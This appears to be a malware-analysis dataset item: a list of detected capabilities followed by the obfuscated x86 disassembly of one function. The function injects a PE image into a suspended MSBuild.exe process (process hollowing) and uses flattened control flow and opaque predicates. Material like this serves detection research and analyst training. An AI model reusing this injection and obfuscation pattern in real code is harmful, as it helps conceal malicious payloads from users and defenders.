Function at 0x10008bd0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject pe
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x150
mov eax, dword [0x1006f404]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x158], 0xab95a7d2
mov eax, dword [ebp - 0x158]
mov dword [ebp - 0x15c], eax
sub eax, 0x80fa90c8
je 0x1001031b
jmp 0x10008c0c
mov eax, dword [ebp - 0x15c]
sub eax, 0x8180eae6
je 0x1000db3c
jmp 0x10008c22
mov eax, dword [ebp - 0x15c]
sub eax, 0x8217e7ba
je 0x1000bfb7
jmp 0x10008c38
mov eax, dword [ebp - 0x15c]
sub eax, 0x831908e4
je 0x1000ecc1
jmp 0x10008c4e
mov eax, dword [ebp - 0x15c]
sub eax, 0x84a7b691
je 0x1000ee96
jmp 0x10008c64
mov eax, dword [ebp - 0x15c]
sub eax, 0x860872a0
je 0x1000bc1b
jmp 0x10008c7a
mov eax, dword [ebp - 0x15c]
sub eax, 0x8662c28c
je 0x1000dbfb
jmp 0x10008c90
mov eax, dword [ebp - 0x15c]
sub eax, 0x8673d8c8
je 0x1000b325
jmp 0x10008ca6
mov eax, dword [ebp - 0x15c]
sub eax, 0x8726c53e
je 0x1000b073
jmp 0x10008cbc
mov eax, dword [ebp - 0x15c]
sub eax, 0x88ccb2b6
je 0x1000e1cd
jmp 0x10008cd2
mov eax, dword [ebp - 0x15c]
sub eax, 0x8ad6f1e1
je 0x1000efcf
jmp 0x10008ce8
mov eax, dword [ebp - 0x15c]
sub eax, 0x8b2d3fff
je 0x1000b3e9
jmp 0x10008cfe
mov eax, dword [ebp - 0x15c]
sub eax, 0x8bd09fce
je 0x1000ccf0
jmp 0x10008d14
mov eax, dword [ebp - 0x15c]
sub eax, 0x8bebad44
je 0x10010749
jmp 0x10008d2a
mov eax, dword [ebp - 0x15c]
sub eax, 0x8fb3e725
je 0x1001029a
jmp 0x10008d40
mov eax, dword [ebp - 0x15c]
sub eax, 0x90b2d9c2
je 0x1000e7cd
jmp 0x10008d56
mov eax, dword [ebp - 0x15c]
sub eax, 0x91f945c9
je 0x1000d0a6
jmp 0x10008d6c
mov eax, dword [ebp - 0x15c]
sub eax, 0x9295fafb
je 0x100104d0
jmp 0x10008d82
mov eax, dword [ebp - 0x15c]
sub eax, 0x93a5a19d
je 0x1000ac81
jmp 0x10008d98
mov eax, dword [ebp - 0x15c]
sub eax, 0x94c8dbc3
je 0x1000e21e
jmp 0x10008dae
mov eax, dword [ebp - 0x15c]
sub eax, 0x9654faab
je 0x1000b02a
jmp 0x10008dc4
mov eax, dword [ebp - 0x15c]
sub eax, 0x97232ceb
je 0x1000ead7
jmp 0x10008dda
mov eax, dword [ebp - 0x15c]
sub eax, 0x9759cf6f
je 0x1000bfd8
jmp 0x10008df0
mov eax, dword [ebp - 0x15c]
sub eax, 0x980d2bad
je 0x1000bfa8
jmp 0x10008e06
mov eax, dword [ebp - 0x15c]
sub eax, 0x98227662
je 0x1000cb06
jmp 0x10008e1c
mov eax, dword [ebp - 0x15c]
sub eax, 0x989ee38e
je 0x1000f305
jmp 0x10008e32
mov eax, dword [ebp - 0x15c]
sub eax, 0x990c54eb
je 0x1000eaae
jmp 0x10008e48
mov eax, dword [ebp - 0x15c]
sub eax, 0x99d9894a
je 0x1000cdd2
jmp 0x10008e5e
mov eax, dword [ebp - 0x15c]
sub eax, 0x99e172e8
je 0x1000b229
jmp 0x10008e74
mov eax, dword [ebp - 0x15c]
sub eax, 0x9bd23297
je 0x1000fd09
jmp 0x10008e8a
mov eax, dword [ebp - 0x15c]
sub eax, 0x9beeace4
je 0x10010034
jmp 0x10008ea0
mov eax, dword [ebp - 0x15c]
sub eax, 0x9d4d3427
je 0x1000bc91
jmp 0x10008eb6
mov eax, dword [ebp - 0x15c]
sub eax, 0x9d6a6da0
je 0x1000b3a0
jmp 0x10008ecc
mov eax, dword [ebp - 0x15c]
sub eax, 0x9d9ea3f0
je 0x1000af0e
jmp 0x10008ee2
mov eax, dword [ebp - 0x15c]
sub eax, 0x9e35c7b0
je 0x1000ebe3
jmp 0x10008ef8
mov eax, dword [ebp - 0x15c]
sub eax, 0x9e3e8e50
je 0x1000ee45
jmp 0x10008f0e
mov eax, dword [ebp - 0x15c]
sub eax, 0x9eaa4650
je 0x10010130
jmp 0x10008f24
mov eax, dword [ebp - 0x15c]
sub eax, 0x9faed883
je 0x1000d388
jmp 0x10008f3a
mov eax, dword [ebp - 0x15c]
sub eax, 0x9fe4b444
je 0x1000def9
jmp 0x10008f50
mov eax, dword [ebp - 0x15c]
sub eax, 0xa0158ef7
je 0x1000c6ee
jmp 0x10008f66
mov eax, dword [ebp - 0x15c]
sub eax, 0xa0176171
je 0x10010306
jmp 0x10008f7c
mov eax, dword [ebp - 0x15c]
sub eax, 0xa03230bc
je 0x1000b58c
jmp 0x10008f92
mov eax, dword [ebp - 0x15c]
sub eax, 0xa153f988
je 0x1000d106
jmp 0x10008fa8
mov eax, dword [ebp - 0x15c]
sub eax, 0xa1df16ee
je 0x1000af5f
jmp 0x10008fbe
mov eax, dword [ebp - 0x15c]
sub eax, 0xa210f022
je 0x1000b2fa
jmp 0x10008fd4
mov eax, dword [ebp - 0x15c]
sub eax, 0xa2733cfd
je 0x1000f0f6
jmp 0x10008fea
mov eax, dword [ebp - 0x15c]
sub eax, 0xa2750054
je 0x1000c511
jmp 0x10009000
mov eax, dword [ebp - 0x15c]
sub eax, 0xa30225a8
je 0x1000b897
jmp 0x10009016
mov eax, dword [ebp - 0x15c]
sub eax, 0xa4fa1925
je 0x1000e550
jmp 0x1000902c
mov eax, dword [ebp - 0x15c]
sub eax, 0xa5293a43
je 0x1000f493
jmp 0x10009042
mov eax, dword [ebp - 0x15c]
sub eax, 0xa5d97757
je 0x1000bd9e
jmp 0x10009058
mov eax, dword [ebp - 0x15c]
sub eax, 0xa9d8233c
je 0x1000c393
jmp 0x1000906e
mov eax, dword [ebp - 0x15c]
sub eax, 0xab03d357
je 0x1000bede
jmp 0x10009084
mov eax, dword [ebp - 0x15c]
sub eax, 0xab95a7d2
je 0x1000a82b
jmp 0x1000909a
mov eax, dword [ebp - 0x15c]
sub eax, 0xac5bdb75
je 0x1000f615
jmp 0x100090b0
mov eax, dword [ebp - 0x15c]
sub eax, 0xacd884bf
je 0x100102bc
jmp 0x100090c6
mov eax, dword [ebp - 0x15c]
sub eax, 0xaeb3909d
je 0x100100ee
jmp 0x100090dc
mov eax, dword [ebp - 0x15c]
sub eax, 0xaef454cf
je 0x1000dc4c
jmp 0x100090f2
mov eax, dword [ebp - 0x15c]
sub eax, 0xaf158857
je 0x1000fea6
jmp 0x10009108
mov eax, dword [ebp - 0x15c]
sub eax, 0xaf624506
je 0x1000de74
jmp 0x1000911e
mov eax, dword [ebp - 0x15c]
sub eax, 0xafca602c
je 0x1000fc04
jmp 0x10009134
mov eax, dword [ebp - 0x15c]
sub eax, 0xafe39fdd
je 0x1000e5c6
jmp 0x1000914a
mov eax, dword [ebp - 0x15c]
sub eax, 0xb094b4a5
je 0x1000df9d
jmp 0x10009160
mov eax, dword [ebp - 0x15c]
sub eax, 0xb21c16f1
je 0x1000ddb5
jmp 0x10009176
mov eax, dword [ebp - 0x15c]
sub eax, 0xb3786b2a
je 0x1000d6ed
push eax
mov eax, esp
mov dword [ebp - 0x150], eax
push eax
mov eax, esp
mov dword [ebp - 0x14c], eax
push eax
mov eax, esp
mov dword [ebp - 0x148], eax
sub esp, 0x10
mov eax, esp
mov dword [ebp - 0x144], eax
sub esp, 0x44
mov eax, esp
mov dword [ebp - 0x140], eax
push eax
mov eax, esp
mov dword [ebp - 0x13c], eax
push eax
mov eax, esp
mov dword [ebp - 0x138], eax
push eax
mov eax, esp
mov dword [ebp - 0x134], eax
push eax
mov eax, esp
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x158], 0x29db7a8d
jmp 0x100107a9
mov ecx, dword [0x10070688]
mov eax, dword [0x10070684]
mov edx, ecx
sub edx, 0xacb6856c
sub edx, 1
add edx, 0xacb6856c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xfce76029
mov ecx, 0xe92913ba
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x100107a9
mov eax, dword [0x10070688]
mov ecx, dword [0x10070684]
mov edx, eax
add edx, 0x3849209c
sub edx, 1
sub edx, 0x3849209c
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x53c3f0a9
mov ecx, 0xa1df16ee
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x100107a9
mov eax, dword [ebp - 0x150]
mov eax, dword [eax]
mov ecx, dword [eax + 0x3c]
mov eax, dword [ebp - 0xd8]
sub eax, 0xc5d6354c
add eax, ecx
add eax, 0xc5d6354c
mov dword [ebp - 0xd4], eax
mov ecx, dword [0x10070688]
mov eax, dword [0x10070684]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x53c3f0a9
mov ecx, 0x28758f19
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x100107a9
mov eax, dword [0x10070688]
mov ecx, dword [0x10070684]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x54257eb1
mov ecx, 0x8726c53e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x100107a9
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax]
mov dword [ebp - 0xcc], eax
mov ecx, dword [0x10070688]
mov eax, dword [0x10070684]
mov edx, ecx
sub edx, 0x6ca0650
sub edx, 1
add edx, 0x6ca0650
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x54257eb1
mov ecx, 0x59d598c4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x100107a9
mov eax, dword [0x10070688]
mov ecx, dword [0x10070684]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xaf158857
mov ecx, 0x60e07f64
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x100107a9
mov eax, dword [ebp - 0x148]
mov ecx, dword [ebp - 0xc4]
mov dword [eax], ecx
mov eax, dword [ebp - 0x148]
mov eax, dword [eax]
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0x158], 0x8673d8c8
jmp 0x100107a9
mov eax, dword [ebp - 0xc0]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0x144]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.10012560
add esp, 0xc
mov eax, dword [ebp - 0x140]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.10012560
add esp, 0xc
mov eax, dword [ebp - 0x14c]
mov eax, dword [eax]
mov eax, dword [eax + 0xe8]
mov dword [ebp - 0xbc], eax
mov dword [ebp - 0x158], 0x9d6a6da0
jmp 0x100107a9
mov eax, dword [0x10070688]
mov ecx, dword [0x10070684]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xded67714
mov ecx, 0x8b2d3fff
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x100107a9
mov eax, dword [ebp - 0xbc]
cmp eax, 0
setne cl
and cl, 1
mov eax, dword [ebp - 0x13c]
mov byte [eax], cl
mov eax, dword [ebp - 0x138]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [eax], ecx
mov eax, dword [ebp - 0x13c]
mov al, byte [eax]
mov byte [ebp - 0xb6], al
mov ecx, dword [0x10070688]
mov eax, dword [0x10070684]
mov edx, ecx
add edx, 0xb8b96604
sub edx, 1
sub edx, 0xb8b96604
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xded67714
mov ecx, 0x17d0abc8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x100107a9
mov al, byte [ebp - 0xb6]
and al, 1
mov byte [ebp - 0xb5], al
mov ecx, dword [0x10070688]
mov eax, dword [0x10070684]
mov edx, ecx
sub edx, 0x595d46fe
sub edx, 1
add edx, 0x595d46fe
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x989ee38e
mov ecx, 0xdeace355
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x100107a9
mov ecx, dword [0x10070688]
mov eax, dword [0x10070684]
mov edx, ecx
add edx, 0xc0c9493a
sub edx, 1
sub edx, 0xc0c9493a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x3ee86f41
mov ecx, 0xe3d4fa9f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x100107a9
mov ecx, dword [0x10070688]
mov eax, dword [0x10070684]
mov edx, ecx
sub edx, 0x49ca3056
sub edx, 1
add edx, 0x49ca3056
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xbe88915
mov ecx, 0x9d4d3427
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x100107a9
mov eax, dword [ebp - 0x130]
mov dword [eax], 0
mov eax, dword [ebp - 0x144]
mov eax, dword [eax]
mov dword [ebp - 0xa0], eax
mov ecx, dword [0x10070688]
mov eax, dword [0x10070684]
mov edx, ecx
add edx, 0x87d9384b
sub edx, 1
sub edx, 0x87d9384b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xbe88915
mov ecx, 0x47e420cc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x100107a9
mov ecx, dword [0x10070688]
mov eax, dword [0x10070684]
mov edx, ecx
add edx, 0x8bf3b824
sub edx, 1
sub edx, 0x8bf3b824
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xc8e1a6f3
mov ecx, 0x9ebfc0b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x100107a9
mov dword [ebp - 0x158], 0x5bfcd28
jmp 0x100107a9
mov dword [ebp - 0x158], 0x8217e7ba
jmp 0x100107a9
mov dl, byte [ebp - 0x95]
mov eax, 0xfb3388bb
mov ecx, 0x9759cf6f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x100107a9
mov eax, dword [0x10070688]
mov ecx, dword [0x10070684]
mov edx, eax
sub edx, 0xca75decf
sub edx, 1
add edx, 0xca75decf
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9beeace4
mov ecx, 0x5600673a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x100107a9
mov dword [ebp - 0x158], 0x6f093d60
jmp 0x100107a9
mov eax, dword [ebp - 0x80]
mov ecx, dword [eax + 0x88]
mov eax, dword [ebp - 0x114]
mov dword [eax], ecx
mov eax, dword [ebp - 0x110]
mov dword [eax], 0
mov dword [ebp - 0x158], 0x5ff49770
jmp 0x100107a9
mov dl, byte [ebp - 0x75]
mov eax, 0xb3a4182f
mov ecx, 0x6e560a4f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x100107a9
mov dl, byte [ebp - 0x69]
mov eax, 0xe258b71e
mov ecx, 0xbb1ea95d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x100107a9
mov eax, dword [ebp - 0x154]
mov ecx, dword [ebp - 0x120]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x110]
imul edx, dword [edx], 0x28
add ecx, edx
add eax, dword [ecx + 0x14]
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0x114]
mov eax, dword [eax]
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x120]
mov eax, dword [eax]
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0x110]
mov eax, dword [eax]
mov dword [ebp - 0x58], eax
mov eax, dword [0x10070688]
mov ecx, dword [0x10070684]
mov edx, eax
add edx, 0xcbe77b27
sub edx, 1
sub edx, 0xcbe77b27
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfefbd21d
mov ecx, 0xfb6b7e37
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x100107a9
mov dword [ebp - 0x158], 0x63d759fd
jmp 0x100107a9
mov dword [ebp - 0x158], 0x5ff49770
jmp 0x100107a9
mov eax, dword [ebp - 0x128]
cmp dword [eax], 0
setne al
and al, 1
mov byte [ebp - 0x52], al
mov ecx, dword [0x10070688]
mov eax, dword [0x10070684]
mov edx, ecx
sub edx, 0x7f9470db
sub edx, 1
add edx, 0x7f9470db
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x10edcec4
mov ecx, 0xf5c6e47a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x100107a9
mov dword [ebp - 0x158], 0x1d2e4e96
jmp 0x100107a9
mov eax, dword [0x10070688]
mov ecx, dword [0x10070684]
mov edx, eax
sub edx, 0x4d2d965c
sub edx, 1
add edx, 0x4d2d965c
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x41337a3d
mov ecx, 0x5fe31194
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x100107a9
mov eax, dword [0x10070688]
mov ecx, dword [0x10070684]
mov edx, eax
add edx, 0xd049310a
sub edx, 1
sub edx, 0xd049310a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xacd884bf
mov ecx, 0xaef454cf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x100107a9
mov eax, dword [ebp - 0x100]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xf4]
mov ecx, dword [ecx]
add ecx, 0x62dd6b80
add ecx, eax
sub ecx, 0x62dd6b80
mov eax, dword [ebp - 0xf4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xf8]
mov eax, dword [eax]
mov dword [ebp - 0x34], eax
mov ecx, dword [0x10070688]
mov eax, dword [0x10070684]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xacd884bf
mov ecx, 0xe94aa51b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x100107a9
mov ecx, dword [0x10070688]
mov eax, dword [0x10070684]
mov edx, ecx
sub edx, 0x1229ac1c
sub edx, 1
add edx, 0x1229ac1c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x1bd21179
mov ecx, 0xda97bcf3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x100107a9
mov dword [ebp - 0x158], 0x781d9dd3
jmp 0x100107a9
mov ecx, dword [0x10070688]
mov eax, dword [0x10070684]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x34c4e164
mov ecx, 0x17e3cd4e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x100107a9
mov eax, dword [ebp - 0xfc]
mov ecx, dword [ebp - 0x30]
mov dword [eax], ecx
mov dword [ebp - 0x158], 0x1096c4ee
jmp 0x100107a9
mov eax, dword [0x10070688]
mov ecx, dword [0x10070684]
mov edx, eax
add edx, 0xb11a925f
sub edx, 1
sub edx, 0xb11a925f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x80fa90c8
mov ecx, 0x94c8dbc3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x100107a9
mov eax, dword [ebp - 0x118]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov ecx, dword [ebp - 0x2c]
sub ecx, 0x81cd4e2d
add ecx, eax
add ecx, 0x81cd4e2d
mov eax, dword [ebp - 0x118]
mov dword [eax], ecx
mov eax, dword [0x10070688]
mov ecx, dword [0x10070684]
mov edx, eax
sub edx, 0x350637cf
sub edx, 1
add edx, 0x350637cf
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x80fa90c8
mov ecx, 0x3206c2f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x100107a9
mov ecx, dword [0x10070688]
mov eax, dword [0x10070684]
mov edx, ecx
sub edx, 0xb563fa57
sub edx, 1
add edx, 0xb563fa57
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x343ba44f
mov ecx, 0xafe39fdd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x100107a9
mov eax, dword [0x10070688]
mov ecx, dword [0x10070684]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x343ba44f
mov ecx, 0x45beea2f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x100107a9
mov ecx, dword [0x10070688]
mov eax, dword [0x10070684]
mov edx, ecx
sub edx, 0xc95218de
sub edx, 1
add edx, 0xc95218de
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x2d2ef40a
mov ecx, 0xd6a875fb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x100107a9
mov eax, dword [ebp - 0xec]
mov ecx, dword [ebp - 0x1c]
mov dword [eax], ecx
mov dword [ebp - 0x158], 0x90b2d9c2
jmp 0x100107a9
mov ecx, dword [0x10070688]
mov eax, dword [0x10070684]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x69552ca8
mov ecx, 0x71d14e0a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x100107a9
mov eax, dword [0x10070688]
mov ecx, dword [0x10070684]
mov edx, eax
sub edx, 0x3fd8b8e0
sub edx, 1
add edx, 0x3fd8b8e0
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb743bce9
mov ecx, 0x2eb6bf94
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x100107a9
mov ecx, dword [0x10070688]
mov eax, dword [0x10070684]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xfd78af29
mov ecx, 0x2c3add6c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x100107a9
